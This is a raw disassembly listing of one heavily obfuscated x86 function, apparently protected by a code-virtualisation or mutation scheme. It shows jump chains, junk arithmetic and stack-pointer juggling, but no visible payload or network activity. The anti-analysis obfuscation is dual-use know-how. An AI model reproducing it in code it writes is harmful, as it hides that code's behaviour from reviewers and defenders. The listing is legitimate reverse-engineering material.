sub_580566+1C92Dj add edi, 4573456Ah jmp loc_5A2D54 ; --------------------------------------------------------------------------- loc_5A194D: ; CODE XREF: sub_580566+23596j sub [esp-16h+arg_E], eax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1956: ; CODE XREF: sub_580566+1651Cj add esp, 2 push ax mov ah, 6Fh jmp loc_5A5840 ; --------------------------------------------------------------------------- loc_5A1962: ; CODE XREF: sub_580566+1791Dj and edi, 3110F07h jmp loc_59D207 ; --------------------------------------------------------------------------- loc_5A196D: ; CODE XREF: sub_580566+139C7j pop eax jmp loc_5A551F ; --------------------------------------------------------------------------- loc_5A1973: ; CODE XREF: sub_580566+14F9Aj pop eax xchg eax, esi push 5036h mov [esp-36h+arg_2C+2], ebp mov ebp, 4C2673A4h shr ebp, 3 not ebp shl ebp, 1 jmp loc_5A1AC4 ; --------------------------------------------------------------------------- loc_5A198E: ; CODE XREF: sub_580566+1E540j pop esp jmp loc_595178 ; --------------------------------------------------------------------------- loc_5A1994: ; CODE XREF: sub_580566+109FAj mov eax, 6C3A0483h add ecx, eax jmp loc_59E4DA ; --------------------------------------------------------------------------- loc_5A19A0: ; CODE XREF: sub_580566+12D8Cj ; sub_580566+1FE06j push 34D9h jmp loc_5A5439 ; --------------------------------------------------------------------------- loc_5A19AA: ; CODE XREF: sub_580566+21517j add eax, 4 push 4CDh mov [esp-46h+arg_3C+2], ecx sub esp, 4 mov [esp-42h+arg_38+2], edx push 56CD0090h pop edx shl edx, 4 jmp loc_59F0BF ; --------------------------------------------------------------------------- loc_5A19CB: ; CODE XREF: sub_580566+16D8Aj pop ecx sub edx, 4A4863F7h shl edx, 3 sub edx, 5EF2304h jmp loc_5A137C ; --------------------------------------------------------------------------- loc_5A19E0: ; CODE XREF: sub_580566+23CFEj div ecx push 52CEh mov [esp-38h+arg_30], esi mov esi, esp jmp loc_5A1E76 ; --------------------------------------------------------------------------- loc_5A19F1: ; CODE XREF: sub_580566+1B300j add esp, 4 push 2A21h mov [esp-38h+arg_30], ebx jmp loc_5A2B10 ; --------------------------------------------------------------------------- loc_5A1A04: ; CODE XREF: sub_580566+21032j xchg edx, [esp-38h+arg_30] pop esp mov [esp-3Ch+arg_34], ecx push ebx mov bh, 3Fh mov cl, 7Fh xor cl, bh mov ebx, [esp-38h+arg_30] jmp loc_595798 ; --------------------------------------------------------------------------- loc_5A1A1A: ; CODE XREF: sub_580566+2467Dj push ecx jmp loc_59787A ; --------------------------------------------------------------------------- loc_5A1A20: ; CODE XREF: sub_580566+1479Dj add al, 0Ch add al, 3Eh sub al, 5Dh xor al, 61h add dl, al pop eax add dl, 0E5h xor al, dl pop edx push edi push esp pop edi jmp loc_59B311 ; --------------------------------------------------------------------------- loc_5A1A39: ; CODE XREF: sub_580566+1BC8Ej mov eax, 0A950399h sub eax, 21FE42F9h neg eax shr eax, 4 shr eax, 8 add eax, 7DC0DD6Bh xor esi, eax pop eax jmp loc_591836 ; --------------------------------------------------------------------------- loc_5A1A58: ; CODE XREF: sub_580566+17C25j add ebx, 4 add ebx, 4 xchg ebx, [esp-16h+arg_E] jmp loc_593C79 ; --------------------------------------------------------------------------- loc_5A1A6C: ; DATA XREF: sub_580566+104D2o mov ax, word ptr [esp-16h+arg_E] jmp loc_599F38 ; --------------------------------------------------------------------------- loc_5A1A75: ; CODE XREF: sub_580566+1F56Ej mov [esp-52h+arg_48+2], esp add [esp-52h+arg_48+2], 4 pop eax jmp loc_5A19AA ; --------------------------------------------------------------------------- loc_5A1A82: ; CODE XREF: sub_580566+19B07j push ecx mov ecx, 56D1389Eh xor ebp, ecx pop ecx jmp loc_598190 ; --------------------------------------------------------------------------- loc_5A1A90: ; DATA XREF: sub_580566+10262o push small word ptr [edx] jmp loc_59C986 ; --------------------------------------------------------------------------- lodsd jmp loc_59C45D ; --------------------------------------------------------------------------- loc_5A1A9E: ; CODE XREF: sub_580566+2396Aj push edi push 21B0h mov [esp-2Ah+arg_20+2], ecx mov ecx, 13EF31A7h add ecx, 123E4DD5h dec ecx shl ecx, 3 xor ecx, 316BFBDCh mov edi, ecx pop ecx jmp loc_59C47D ; --------------------------------------------------------------------------- loc_5A1AC4: ; CODE XREF: sub_580566+21423j push edx jmp loc_5963DA ; --------------------------------------------------------------------------- loc_5A1ACA: ; CODE XREF: sub_580566+10D58j sub ebp, 0EA306414h add ebx, ebp pop ebp add ebx, eax push 3B2h mov [esp-34h+arg_2C], edi mov edi, 3CF6196Dh or edi, 0E7B4334h push edx mov edx, 53AC1C1Eh or edx, 4FBD7CCDh jmp loc_5A3E30 ; --------------------------------------------------------------------------- loc_5A1AF9: ; CODE XREF: sub_580566+24D0Dj pop ebx jmp loc_5911BD ; --------------------------------------------------------------------------- loc_5A1AFF: ; CODE XREF: sub_580566+1A904j add ecx, 4 jmp loc_59117B ; --------------------------------------------------------------------------- loc_5A1B0A: ; CODE XREF: sub_580566+18672j add esi, 5C69D910h jmp loc_5910BA ; --------------------------------------------------------------------------- loc_5A1B15: ; CODE XREF: sub_580566+20318j mov ebx, 3C1B63FAh shr ebx, 5 push edx jmp loc_59AB43 ; --------------------------------------------------------------------------- loc_5A1B23: ; CODE XREF: sub_580566+18767j pop ebp push esi mov esi, esp push eax mov eax, 53372B03h jmp loc_59CA90 ; --------------------------------------------------------------------------- loc_5A1B32: ; CODE XREF: sub_580566+1ED1Fj mov esp, [esp-3Ch+arg_34] jmp loc_59B349 ; --------------------------------------------------------------------------- loc_5A1B3A: ; CODE XREF: sub_580566+1BDBDj sub ebp, 562F7FF9h sub ebp, 0E9C779A1h add edi, ebp pop ebp add edi, 4 jmp loc_591E36 ; --------------------------------------------------------------------------- loc_5A1B54: ; CODE XREF: sub_580566+1616Ej pop ebp jmp loc_5A4DC3 ; --------------------------------------------------------------------------- loc_5A1B5A: ; CODE XREF: sub_580566+15247j push edx xor [esp-14h+arg_A+2], 1860ECBh mov eax, [esp-14h+arg_A+2] add esp, 4 jmp loc_5947CA ; --------------------------------------------------------------------------- loc_5A1B70: ; CODE XREF: sub_580566+14749j add ebx, 4 add ebx, 4 xchg ebx, [esp-42h+arg_38+2] pop esp push 238Eh mov [esp-42h+arg_38+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-42h+arg_38+2] pop esp add eax, 0F1CFFD88h push eax add [esp-42h+arg_38+2], 271F7617h pop esi sub esi, 271F7617h mov eax, [esp-46h+arg_3C+2] push 5B68h mov [esp-42h+arg_38+2], esi mov esi, esp add esi, 4 jmp loc_5980C7 ; --------------------------------------------------------------------------- loc_5A1BC3: ; CODE XREF: sub_580566+131EAj pop ebp jmp loc_591B4F ; --------------------------------------------------------------------------- loc_5A1BC9: ; CODE XREF: sub_580566+2036Fj sub eax, 273B2834h push [esp-34h+arg_2C] pop ebp add esp, 4 mov ecx, [esp-38h+arg_30] push ebp mov ebp, esp jmp loc_594591 ; --------------------------------------------------------------------------- loc_5A1BE0: ; CODE XREF: sub_580566+13649j sub ebx, edx jmp loc_5A1F1D ; --------------------------------------------------------------------------- loc_5A1BE7: ; CODE XREF: sub_580566+1E27Fj add ecx, 4 add ecx, 4 xchg ecx, [esp-48h+arg_40] mov esp, [esp-48h+arg_40] jmp loc_599A94 ; --------------------------------------------------------------------------- loc_5A1BFB: ; CODE XREF: sub_580566+162EAj push ecx mov ch, 0AEh jmp loc_59D3A3 ; --------------------------------------------------------------------------- loc_5A1C03: ; CODE XREF: sub_580566+1803Dj mov [esp-2Eh+arg_24+2], edi mov edi, 46EA16B7h add ecx, 74553F9Eh add ecx, edi sub ecx, 74553F9Eh pop edi add eax, 0A7E0CEFh add eax, ecx sub esp, 4 mov [esp-2Eh+arg_24+2], edx mov edx, 0A7E0CEFh sub eax, edx jmp loc_59EC96 ; --------------------------------------------------------------------------- loc_5A1C33: ; CODE XREF: sub_580566+1D711j sub esp, 4 mov [esp-28h+arg_20], ebp jmp loc_5A0280 ; --------------------------------------------------------------------------- loc_5A1C3E: ; CODE XREF: sub_580566+13DBAj sub ebx, 4E9B6EF0h pop eax sub ebx, 4F01265Bh add edx, ebx pop ebx jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1C53: ; CODE XREF: sub_580566+1ABEFj pop ebx push ecx mov ecx, 52121C00h jmp loc_59D5EE ; --------------------------------------------------------------------------- loc_5A1C5F: ; CODE XREF: sub_580566+23DBAj pop ecx push ebp mov ebp, 2C3D50BFh xor ebp, 64627865h sub ecx, ebp pop ebp mov esi, [esp-30h+arg_28] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-2Ch+arg_24] jmp loc_5A114F ; --------------------------------------------------------------------------- loc_5A1C89: ; CODE XREF: sub_580566+251E7j pop esp jmp loc_5921EC ; --------------------------------------------------------------------------- loc_5A1C8F: ; CODE XREF: sub_580566+24F27j push 4AD1h push esp pop [esp-28h+arg_20] add [esp-2Ch+arg_24], 4 pop edx push esi mov esi, 5E23117Eh not esi add esi, 0ADF1A5Dh jmp loc_59F6BF ; --------------------------------------------------------------------------- loc_5A1CB3: ; CODE XREF: sub_580566+10C9Aj push [esp-30h+arg_28] pop ebx add esp, 4 push ebp push [esp-30h+arg_2C] pop ebp pop [esp-30h+arg_28] jmp loc_594714 ; --------------------------------------------------------------------------- loc_5A1CCB: ; CODE XREF: sub_580566+1DD24j mov eax, [esp-3Ah+arg_30+2] add esp, 4 push ebx jmp loc_597861 ; --------------------------------------------------------------------------- loc_5A1CD7: ; CODE XREF: sub_580566+1B604j pop eax jmp loc_5A14A1 ; --------------------------------------------------------------------------- loc_5A1CDD: ; CODE XREF: sub_580566+1CFA7j add al, dh add al, 0B4h push bx mov bh, 48h sub al, bh pop bx pop edx sub bl, 4Ch add bl, 22h add bl, al jmp loc_5A4B53 ; --------------------------------------------------------------------------- loc_5A1CF7: ; CODE XREF: sub_580566+1610Bj xor ebp, [esp-24h+arg_1A+2] jmp loc_594EC2 ; --------------------------------------------------------------------------- loc_5A1CFF: ; CODE XREF: sub_580566+1CA12j movzx eax, al push dword ptr [edi+eax*4] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1D0A: ; CODE XREF: sub_580566+17ECEj mov [esp-30h+arg_28], edx jmp loc_590B8D ; --------------------------------------------------------------------------- loc_5A1D12: ; CODE XREF: sub_580566+1B4B0j add esp, 4 mov bl, ch mov ecx, [esp-3Ah+arg_30+2] add esp, 4 add al, bl jmp loc_595741 ; --------------------------------------------------------------------------- loc_5A1D2A: ; DATA XREF: sub_580566+1025Ao mov esp, [esp-3Eh+arg_34+2] jmp loc_598068 ; --------------------------------------------------------------------------- loc_5A1D32: ; CODE XREF: sub_580566+12322j mov edi, 4D4C1970h jmp loc_59945D ; --------------------------------------------------------------------------- loc_5A1D3C: ; CODE XREF: sub_580566+112CBj sub edx, 203C7FDh jmp loc_594E87 ; --------------------------------------------------------------------------- loc_5A1D47: ; CODE XREF: sub_580566+14EB6j xchg ebp, [esp-40h+arg_38] pop esp push eax mov al, 0F2h jmp loc_597413 ; --------------------------------------------------------------------------- loc_5A1D53: ; CODE XREF: sub_580566+24A74j pop esp add ebx, 2 xchg ebx, [esp-44h+arg_3C] jmp loc_595E47 ; --------------------------------------------------------------------------- loc_5A1D62: ; CODE XREF: sub_580566+12F53j add esp, 4 sub esp, 4 mov [esp-24h+arg_1A+2], ebp mov ebp, esp jmp loc_5A08EE ; --------------------------------------------------------------------------- loc_5A1D75: ; CODE XREF: sub_580566+15DF0j pop eax add esp, 4 push ebp mov ebp, 43D9589Ah xor ebp, 3BFD3395h jmp loc_5926B4 ; --------------------------------------------------------------------------- loc_5A1D8A: ; CODE XREF: sub_580566+1C9B4j xor edi, 57AD4A58h and edi, 31D4CF8h xor edi, 4125251Fh add edi, 0BDCED255h mov ecx, edi pop edi add esi, ecx pop ecx jmp loc_59A9A5 ; --------------------------------------------------------------------------- loc_5A1DAD: ; CODE XREF: sub_580566+1D651j add esi, 4 add esi, 4 xor esi, [esp-4Eh+arg_44+2] jmp loc_5A2858 ; --------------------------------------------------------------------------- loc_5A1DBE: ; CODE XREF: sub_580566+11648j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1DC3: ; CODE XREF: sub_580566+22A23j xor ebp, esi pop esi add ebp, 1 push 0EF9h jmp loc_5A47E9 ; --------------------------------------------------------------------------- loc_5A1DD6: ; CODE XREF: sub_580566+17C4Dj add edi, 0EB3CD13Bh and eax, edi pop edi shl eax, 2 xor eax, 1E1873A2h add eax, 43FF15E1h sub eax, 1 jmp loc_5950DF ; --------------------------------------------------------------------------- loc_5A1DF6: ; CODE XREF: sub_580566+1D3ACj add bh, 5Ch xor dl, bh mov bx, [esp+0] add esp, 2 jmp loc_594EFA ; --------------------------------------------------------------------------- loc_5A1E0A: ; CODE XREF: sub_580566+184ACj pop edi jmp loc_5A0B37 ; --------------------------------------------------------------------------- loc_5A1E10: ; CODE XREF: sub_580566+194D0j pop ebp push edi push edx jmp loc_59BBC3 ; --------------------------------------------------------------------------- loc_5A1E18: ; CODE XREF: sub_580566+1D493j pop esp idiv ecx push ebx mov ebx, esp add ebx, 4 push edi sub esp, 4 mov [esp-3Ah+arg_30+2], ebp push 440251E2h jmp loc_592B3E ; --------------------------------------------------------------------------- loc_5A1E38: ; CODE XREF: sub_580566+1EC76j inc edx push ebp push ecx mov ecx, 4D09D758h mov ebp, ecx jmp loc_5954E8 ; --------------------------------------------------------------------------- loc_5A1E47: ; CODE XREF: sub_580566+19065j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1E4C: ; CODE XREF: sub_580566+11A21j mov edi, [esp-3Ch+arg_34] add esp, 4 loc_5A1E52: ; CODE XREF: sub_580566+19283j push ebp push esp jmp loc_5949C2 ; --------------------------------------------------------------------------- loc_5A1E59: ; CODE XREF: sub_580566+20666j mov ebx, [esp-4Ah+arg_40+2] add esp, 4 add esi, ecx pop ecx xchg esi, [esp-52h+arg_48+2] pop esp xor ebx, eax xor edx, eax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A1E6F: ; CODE XREF: sub_580566+17FEDj sub ebp, esi jmp loc_597328 ; --------------------------------------------------------------------------- loc_5A1E76: ; CODE XREF: sub_580566+21486j sub esp, 4 mov [esp-34h+arg_2C], esi jmp loc_59E16C ; --------------------------------------------------------------------------- loc_5A1E81: ; CODE XREF: sub_580566+23E62j pop edi add ecx, 4 push ecx push [esp-34h+arg_30] pop ecx jmp loc_59A4A2 ; --------------------------------------------------------------------------- loc_5A1E93: ; CODE XREF: sub_580566+19181j pop ecx mov ebp, [esp-24h+arg_1A+2] sub esp, 4 mov [esp-20h+arg_16+2], esi jmp loc_59A838 ; --------------------------------------------------------------------------- loc_5A1EA2: ; DATA XREF: sub_580566+1047Eo push [esp-20h+arg_16+2] push [esp-1Ch+arg_12+2] jmp loc_59CCB8 ; --------------------------------------------------------------------------- loc_5A1EAD: ; CODE XREF: sub_580566+1F53Aj sub esi, eax pop eax xchg esi, [esp-36h+arg_2C+2] pop esp mov [esp-3Ah+arg_30+2], eax jmp loc_59E1E5 ; --------------------------------------------------------------------------- loc_5A1EBC: ; CODE XREF: sub_580566+23FB8j mov [esp-3Ah+arg_30+2], ebp mov ebp, 5C4A2709h push 8F9E6AFh mov edi, [esp-36h+arg_2C+2] add esp, 4 add edi, ebp pop ebp xor eax, edi pop edi sub edx, 4F60091Ah add edx, 2E241A6Ch add edx, eax sub edx, 2E241A6Ch push ecx mov ecx, 4F60091Ah jmp loc_59F4FE ; --------------------------------------------------------------------------- loc_5A1EF7: ; CODE XREF: sub_580566+1A64Cj push eax mov eax, 760E70C6h not eax push ecx mov ecx, 0BAA733Fh neg ecx not ecx inc ecx jmp loc_59DCEF ; --------------------------------------------------------------------------- loc_5A1F0F: ; CODE XREF: sub_580566+1D0B1j push ebx jmp loc_59DD48 ; --------------------------------------------------------------------------- loc_5A1F15: ; CODE XREF: sub_580566+19548j pop esi push ecx pop ebp jmp loc_59C872 ; --------------------------------------------------------------------------- loc_5A1F1D: ; CODE XREF: sub_580566+2167Cj sub ebx, 5A712E29h mov edx, [esp-44h+arg_3C] jmp loc_5A1069 ; --------------------------------------------------------------------------- loc_5A1F2B: ; CODE XREF: sub_580566+24C6Cj push [esp-44h+arg_3C] pop edx add esp, 4 push ebp jmp loc_5A0845 ; --------------------------------------------------------------------------- loc_5A1F38: ; CODE XREF: sub_580566+1D14Fj sub ecx, 0DFDB7AF4h xor edx, ecx pop ecx sub edx, 3657D4BDh push ecx mov ecx, 691C1731h sub esi, ecx push [esp-3Eh+arg_34+2] jmp loc_5935D3 ; --------------------------------------------------------------------------- loc_5A1F57: ; CODE XREF: sub_580566+11AFEj mov [esp-40h+arg_38], esp add [esp-40h+arg_38], 4 mov edx, [esp-40h+arg_38] add esp, 4 push edi mov edi, 4 add edx, edi pop edi push edi mov edi, 4 sub edx, 166A29A6h jmp loc_596EA0 ; --------------------------------------------------------------------------- loc_5A1F81: ; CODE XREF: sub_580566+1F46Bj xchg esi, [esp-2Eh+arg_24+2] pop esp mov [esp-32h+arg_28+2], esi jmp loc_592AC2 ; --------------------------------------------------------------------------- loc_5A1F8D: ; CODE XREF: sub_580566+235B0j dec edx add edx, 0B7AE1028h push ebx mov ebx, edx mov esi, ebx pop ebx jmp loc_5A42C3 ; --------------------------------------------------------------------------- loc_5A1F9F: ; CODE XREF: sub_580566+1AE94j mov [esp-34h+arg_2C], edx push ecx mov ecx, 48244156h mov edx, ecx jmp loc_5A475F ; --------------------------------------------------------------------------- loc_5A1FAF: ; CODE XREF: sub_580566+1DE69j xchg edi, [esp+0] pop esp jmp loc_59837C ; --------------------------------------------------------------------------- loc_5A1FB8: ; CODE XREF: sub_580566+23990j pop edi xor edi, 20C624A6h jmp loc_595164 ; --------------------------------------------------------------------------- loc_5A1FC4: ; CODE XREF: sub_580566+118BFj mov edx, 3752263Bh mov esi, 0C8ADD9C9h add esi, edx pop edx add edx, esi pop esi jmp loc_595BF7 ; --------------------------------------------------------------------------- loc_5A1FD9: ; CODE XREF: sub_580566+1C61Ej xchg ecx, [esp-40h+arg_38] mov esp, [esp-40h+arg_38] push [esp-40h+arg_38] pop ecx push eax push 748Ch jmp loc_59315C ; --------------------------------------------------------------------------- loc_5A1FEE: ; CODE XREF: sub_580566+20F7Aj mov [esp-40h+arg_38], eax jmp loc_5938E9 ; --------------------------------------------------------------------------- loc_5A1FF6: ; CODE XREF: sub_580566+150F8j mov edx, 9DDADF37h push ebx mov ebx, 57A86A9Bh xor ebx, 639556C4h sub ebx, 791F6C2Fh xor ebx, 0CAE8BAF7h sub edx, ebx jmp loc_5A2CCC ; --------------------------------------------------------------------------- loc_5A201A: ; CODE XREF: sub_580566+2115Dj sub ebp, 0E7CFDA6Bh add edx, ebp jmp loc_5930D7 ; --------------------------------------------------------------------------- loc_5A2027: ; CODE XREF: sub_580566+1888Cj push ecx push 2 push [esp-3Eh+arg_34+2] pop ecx add esp, 4 add eax, ecx jmp loc_591212 ; --------------------------------------------------------------------------- loc_5A203B: ; CODE XREF: sub_580566+1167Aj add edx, ecx add edx, 69A6BA3h pop ecx xor edx, [esp-34h+arg_2C] xor [esp-34h+arg_2C], edx xor edx, [esp-34h+arg_2C] pop esp pop [esp-38h+arg_30] mov esp, [esp-3Ch+arg_34] mov [esp-3Ch+arg_34], eax push [esp-3Ch+arg_34] pop ebx push edx mov edx, esp add edx, 4 jmp loc_59EAAB ; --------------------------------------------------------------------------- loc_5A2069: ; CODE XREF: sub_580566+1F8EBj mov [esp-0Ch+arg_8], esi mov esi, 439B1336h mov ecx, esi jmp loc_595375 ; --------------------------------------------------------------------------- loc_5A2078: ; CODE XREF: sub_580566+2066Fj not [esp-18h+arg_E+2] pop ecx jmp loc_5A32E8 ; --------------------------------------------------------------------------- loc_5A2081: ; CODE XREF: sub_580566+14069j sub al, 0CFh mov ebx, [esp-24h+arg_1A+2] add esp, 4 push [esp-28h+arg_20] mov ecx, [esp-24h+arg_1A+2] add esp, 4 jmp loc_59E7F7 ; --------------------------------------------------------------------------- loc_5A2097: ; CODE XREF: sub_580566+205A3j xor ebx, ecx jmp loc_596F0D ; --------------------------------------------------------------------------- loc_5A209E: ; CODE XREF: sub_580566+17844j pop esi xor edx, 1BA3BB15h mov edi, edx jmp loc_591E98 ; --------------------------------------------------------------------------- loc_5A20AC: ; CODE XREF: sub_580566+1A7E9j add eax, 3199541Eh sub eax, ebx push ebx jmp loc_599B1B ; --------------------------------------------------------------------------- loc_5A20B9: ; CODE XREF: sub_580566+1401Cj add ebp, 4 push ebp push [esp-3Ch+arg_38] pop ebp pop [esp-3Ch+arg_34] pop esp add ebx, ecx pop ecx xor ebx, [esp-48h+arg_40] xor [esp-48h+arg_40], ebx xor ebx, [esp-48h+arg_40] pop esp xor word ptr [esp-4Ch+arg_44], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A20E0: ; CODE XREF: sub_580566+1EC2Cj inc edx shl edx, 4 sub edx, 2923A541h add esi, 61A257A3h add esi, edx jmp loc_59357C ; --------------------------------------------------------------------------- loc_5A20F7: ; CODE XREF: sub_580566+1D9FDj push 0E52344Ah pop edx not edx push ebx sub esp, 4 mov [esp-4Eh+arg_44+2], esi push 35378D0h jmp loc_5A0031 ; --------------------------------------------------------------------------- loc_5A2110: ; CODE XREF: sub_580566+22AE3j add al, 7Bh add al, bl sub al, 7Bh push edx mov dl, 0B1h jmp loc_59A14A ; --------------------------------------------------------------------------- loc_5A211E: ; CODE XREF: sub_580566+117CAj push ebx jmp loc_598DD9 ; --------------------------------------------------------------------------- loc_5A2124: ; CODE XREF: sub_580566+1CF3Bj pop ebx push ebx push esp mov ebx, [esp-3Ch+arg_34] add esp, 4 sub esp, 4 mov [esp-3Ch+arg_34], eax mov eax, 4 jmp loc_598837 ; --------------------------------------------------------------------------- loc_5A213D: ; CODE XREF: sub_580566+14C73j push ebx pop eax pop ebx jmp loc_59F71C ; --------------------------------------------------------------------------- loc_5A2145: ; CODE XREF: sub_580566+1F89Bj add edi, edx mov edx, [esp-1Ah+arg_12] add esp, 4 xor edi, [esp-1Eh+arg_16] xor [esp-1Eh+arg_16], edi xor edi, [esp-1Eh+arg_16] mov esp, [esp-1Eh+arg_16] jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A215E: ; CODE XREF: sub_580566+1F432j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-3Ch+arg_34] jmp loc_59A43F ; --------------------------------------------------------------------------- loc_5A2172: ; CODE XREF: sub_580566+21363j mov eax, esp add eax, 4 push esi mov esi, 4 add eax, esi pop esi push eax push [esp-48h+arg_44] mov eax, [esp-44h+arg_3C] add esp, 4 pop [esp-48h+arg_40] pop esp jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A2196: ; CODE XREF: sub_580566+1A6DDj push ebx jmp loc_596AC1 ; --------------------------------------------------------------------------- loc_5A219C: ; CODE XREF: sub_580566+123CDj xor eax, [esp-3Ch+arg_34] xor [esp-3Ch+arg_34], eax xor eax, [esp-3Ch+arg_34] mov esp, [esp-3Ch+arg_34] mov word ptr [esp-3Ch+arg_34], cx jmp loc_5930E3 ; --------------------------------------------------------------------------- loc_5A21B1: ; CODE XREF: sub_580566+238C5j push eax jmp loc_59BFEF ; --------------------------------------------------------------------------- loc_5A21B7: ; CODE XREF: sub_580566+1B7AFj push 1DD7h jmp loc_594016 ; --------------------------------------------------------------------------- loc_5A21C1: ; CODE XREF: sub_580566+11C2Bj sub edi, 2F071853h sub edi, 6D1C5526h pop esi jmp loc_59D745 ; --------------------------------------------------------------------------- loc_5A21D3: ; CODE XREF: sub_580566+19771j mov esp, [esp-3Ah+arg_30+2] push [esp-3Ah+arg_30+2] jmp loc_5A1268 ; --------------------------------------------------------------------------- loc_5A21DE: ; CODE XREF: sub_580566+10F89j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp-1Eh+arg_16] pop esp xchg eax, [esp-22h+arg_1A] pop esp push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp-22h+arg_1A] pop esp push 0E3Eh jmp loc_59BF44 ; --------------------------------------------------------------------------- loc_5A220F: ; CODE XREF: sub_580566+176C7j pop eax sub bl, cl mov ecx, [esp-3Ch+arg_34] add esp, 4 sub esp, 2 jmp loc_59F1FD ; --------------------------------------------------------------------------- loc_5A2226: ; CODE XREF: sub_580566+1C6FDj pop esp mov eax, [esp-32h+arg_28+2] add esp, 4 jmp loc_5A2DBF ; --------------------------------------------------------------------------- loc_5A2232: ; CODE XREF: sub_580566+24F1Fj mov eax, [esp-36h+arg_2C+2] push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp-32h+arg_28+2] jmp loc_5A3C23 ; --------------------------------------------------------------------------- loc_5A224C: ; CODE XREF: sub_580566+1BBD9j add ebx, ebp mov ebp, [esp-30h+arg_28] push edx mov edx, esp add edx, 4 sub esp, 4 mov [esp-28h+arg_20], esi mov esi, 4 add edx, esi pop esi xchg edx, [esp-2Ch+arg_24] pop esp push ebx push [esp-2Ch+arg_28] mov ebx, [esp-28h+arg_20] push edx push esp mov edx, [esp-20h+arg_16+2] jmp loc_59F811 ; --------------------------------------------------------------------------- loc_5A227E: ; CODE XREF: sub_580566+1A9B8j push 1896h mov [esp-46h+arg_3C+2], ebp push 2CCh mov [esp-42h+arg_38+2], esp push 2BF7h jmp loc_59EF4C ; --------------------------------------------------------------------------- loc_5A2298: ; CODE XREF: sub_580566+17960j add esp, 4 push edx push 410Bh mov [esp-46h+arg_3C+2], ebx mov edx, [esp-46h+arg_3C+2] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-42h+arg_38+2] pop esp pop ebx xor edx, 5F5D1812h sub eax, 196B104Eh add eax, edx add eax, 196B104Eh push [esp-4Ah+arg_40+2] push [esp-46h+arg_3C+2] jmp loc_59235E ; --------------------------------------------------------------------------- loc_5A22D8: ; CODE XREF: sub_580566+1A132j mov eax, [esp-38h+arg_30] push 2715h jmp loc_5A3379 ; --------------------------------------------------------------------------- loc_5A22E5: ; CODE XREF: sub_580566+1AD60j xchg eax, [esp-36h+arg_2C+2] jmp loc_5A2823 ; --------------------------------------------------------------------------- loc_5A22ED: ; CODE XREF: sub_580566+1C624j add esi, ecx sub esi, 29DF605Ah push [esp-42h+arg_38+2] pop ecx add esp, 4 push esi push [esp-42h+arg_3C+2] mov esi, [esp-3Eh+arg_34+2] add esp, 4 jmp loc_591465 ; --------------------------------------------------------------------------- loc_5A2312: ; CODE XREF: sub_580566+122CFj sub edi, 4 xchg edi, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] mov [esp-34h+arg_2C], esi mov esi, esp sub esp, 4 mov [esp-30h+arg_28], edx mov edx, 2DC2447Dh and edx, 5CC93379h neg edx and edx, 79BF4DCCh sub edx, 713F4D80h add esi, edx pop edx push ebp jmp loc_596E85 ; --------------------------------------------------------------------------- loc_5A234B: ; CODE XREF: sub_580566+18430j mov edx, [esp-1Eh+arg_16] add esp, 4 jmp loc_59BE6B ; --------------------------------------------------------------------------- loc_5A2359: ; CODE XREF: sub_580566+1C16Ej mov [esp-3Ah+arg_30+2], edi jmp loc_599A6D ; --------------------------------------------------------------------------- loc_5A2361: ; CODE XREF: sub_580566+1F100j jmp loc_590A9B ; --------------------------------------------------------------------------- loc_5A2366: ; CODE XREF: sub_580566+10F63j add esi, eax pop eax mov edx, [esp+0] add esp, 4 jmp loc_59DEEA ; --------------------------------------------------------------------------- loc_5A2374: ; CODE XREF: sub_580566+1DFF4j mov ecx, 64E67391h push ebx mov ebx, 2C8665ECh xor ebx, 5BAD6381h sub ebx, 60A1C955h jmp loc_594FF2 ; --------------------------------------------------------------------------- loc_5A2390: ; CODE XREF: sub_580566+241C6j shr ebx, 7 sub ebx, 3D604A6Ch inc ebx inc ebx jmp loc_592938 ; --------------------------------------------------------------------------- loc_5A23A0: ; CODE XREF: sub_580566+1ED29j inc eax xor eax, 57E11083h or eax, 342C040Fh jmp loc_59A3C9 ; --------------------------------------------------------------------------- loc_5A23B0: ; CODE XREF: sub_580566+245E8j xor esi, 2D9B53C6h sub esp, 4 mov [esp-38h+arg_30], ebx mov ebx, 78130FABh jmp loc_59FF3E ; --------------------------------------------------------------------------- loc_5A23C9: ; CODE XREF: sub_580566+1672Aj dec ecx jmp loc_59B9F4 ; --------------------------------------------------------------------------- loc_5A23CF: ; CODE XREF: sub_580566+11DF3j push eax push 57937CE1h pop eax add eax, 0BC26C918h mov edx, eax jmp loc_59328B ; --------------------------------------------------------------------------- loc_5A23E2: ; CODE XREF: sub_580566+1B5BBj mov [esp-3Ah+arg_30+2], esp add [esp-3Ah+arg_30+2], 4 pop ecx push 355Fh jmp loc_592FE6 ; --------------------------------------------------------------------------- loc_5A23F4: ; CODE XREF: sub_580566+1C82Dj pop cx jmp loc_5A3337 ; --------------------------------------------------------------------------- loc_5A23FB: ; CODE XREF: sub_580566+106E4j sub esp, 4 mov [esp-3Eh+arg_34+2], ebx mov ebx, 493C6FD8h push ebp jmp loc_59A41F ; --------------------------------------------------------------------------- loc_5A240F: ; CODE XREF: sub_580566+1BC80j shl dl, 5 dec dl not dl neg dl shr dl, 5 shl dl, 2 push ecx mov ch, 98h push ebx mov bh, 99h add ch, bh pop ebx jmp loc_59B957 ; --------------------------------------------------------------------------- loc_5A242C: ; CODE XREF: sub_580566+14DA8j xor ebx, esi pop esi jmp loc_59292F ; --------------------------------------------------------------------------- loc_5A2434: ; CODE XREF: sub_580566+13B52j mov eax, edx jmp loc_59560F ; --------------------------------------------------------------------------- loc_5A243B: ; CODE XREF: sub_580566+20C80j pop [esp-1Ch+arg_12+2] mov esp, [esp-20h+arg_16+2] jmp loc_59FDE6 ; 